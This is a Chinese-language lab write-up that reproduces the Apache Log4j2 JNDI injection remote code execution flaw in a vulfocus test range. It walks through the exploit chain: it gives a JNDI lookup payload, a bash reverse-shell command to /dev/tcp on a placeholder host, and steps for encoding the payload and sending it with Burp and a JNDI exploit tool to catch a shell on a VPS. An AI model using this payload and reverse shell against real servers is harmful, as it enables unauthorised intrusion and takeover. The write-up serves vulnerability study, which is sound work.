Apache Log4j2 远程代码执行漏洞

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。

声明


本篇文章仅用于技术研究与漏洞复现学习,切勿将文章攻击方法用于未经授权的实战测试中,造成任何后果与本文和作者无关!


一、产品简介


Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。


二、漏洞概述


由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

三、影响范围


  • Apache Log4j2 2.0-beta9 到 2.15.0


四、漏洞复现


以vulfocus靶场环境测试

打开靶场界面

image.png

Burp抓包,直接使用payload进行测试,看dnslog是否有回显 payload: ${jndi:ldap://X.X.X.X/TomcatBypass/TomcatEcho}

image.png

Dnslog平台有数据回显,既然有回显,那就直接实战反弹Shell。


接下来用到的工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar(github下载)


说到反弹Shell,这里首先想到用到 bash -i >& /dev/tcp/X.X.X.X/X 0>&1,但是这里不能直接使用,需要将payoad进行base64加密,然后使用bash命令去执行

推荐一个加密网站:https://www.bugku.net/runtime-exec-payloads/

image.png

上面输入反弹bash命令,下面将显示加密后的payload。

将这段bash命令直接应用到JNDIExploit工具上,执行后的界面如下:

image.png

这里JNDI Links 是根据当前实验环境去选择执行的payload

在vps上建立一个监听

image.png

回到burp上,直接使用payload进行测试,这里要记得将payload进行URL编码,因为这里是GET请求,直接在burp里的Decoder模块中进行编码转换

image.png


将编码后的 payload 放到 repeater 中 send发送

image.png


Vps有大量回显数据,再来看监听的端口,已经成功反弹Shell

image.png

五、修复手段


更新至官方最新版本!

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
目录
相关文章
|
12月前
|
安全 应用服务中间件 Apache
Apache-Tomcat-Ajp文件读取漏洞(CVE-2020-1938、CNVD-2020-10487)
Apache-Tomcat-Ajp文件读取漏洞产生原因是由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件
589 1
|
11月前
|
存储 安全 Java
【Shiro】Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)的解决方案
【Shiro】Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)的解决方案
441 0
|
11月前
|
安全 Java 大数据
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
|
17天前
|
存储 消息中间件 Java
Apache Flink 实践问题之原生TM UI日志问题如何解决
Apache Flink 实践问题之原生TM UI日志问题如何解决
29 1
|
14天前
|
消息中间件 监控 数据挖掘
基于RabbitMQ与Apache Flink构建实时分析系统
【8月更文第28天】本文将介绍如何利用RabbitMQ作为数据源,结合Apache Flink进行实时数据分析。我们将构建一个简单的实时分析系统,该系统能够接收来自不同来源的数据,对数据进行实时处理,并将结果输出到另一个队列或存储系统中。
59 2
|
17天前
|
消息中间件 分布式计算 Hadoop
Apache Flink 实践问题之Flume与Hadoop之间的物理墙问题如何解决
Apache Flink 实践问题之Flume与Hadoop之间的物理墙问题如何解决
30 3
|
17天前
|
消息中间件 运维 Kafka
Apache Flink 实践问题之达到网卡的最大速度如何解决
Apache Flink 实践问题之达到网卡的最大速度如何解决
33 2
|
18天前
|
消息中间件 前端开发 Kafka
【Azure 事件中心】使用Apache Flink 连接 Event Hubs 出错 Kafka error: No resolvable bootstrap urls
【Azure 事件中心】使用Apache Flink 连接 Event Hubs 出错 Kafka error: No resolvable bootstrap urls
|
17天前
|
SQL 运维 分布式计算
Apache Flink 实践问题之避免用户作业包中包含Flink的core包如何解决
Apache Flink 实践问题之避免用户作业包中包含Flink的core包如何解决
33 1
Apache Flink 实践问题之避免用户作业包中包含Flink的core包如何解决
|
17天前
|
数据采集 分布式计算 Kubernetes
Apache Flink 实践问题之ZooKeeper 网络瞬断时如何解决
Apache Flink 实践问题之ZooKeeper 网络瞬断时如何解决
35 4

推荐镜像

更多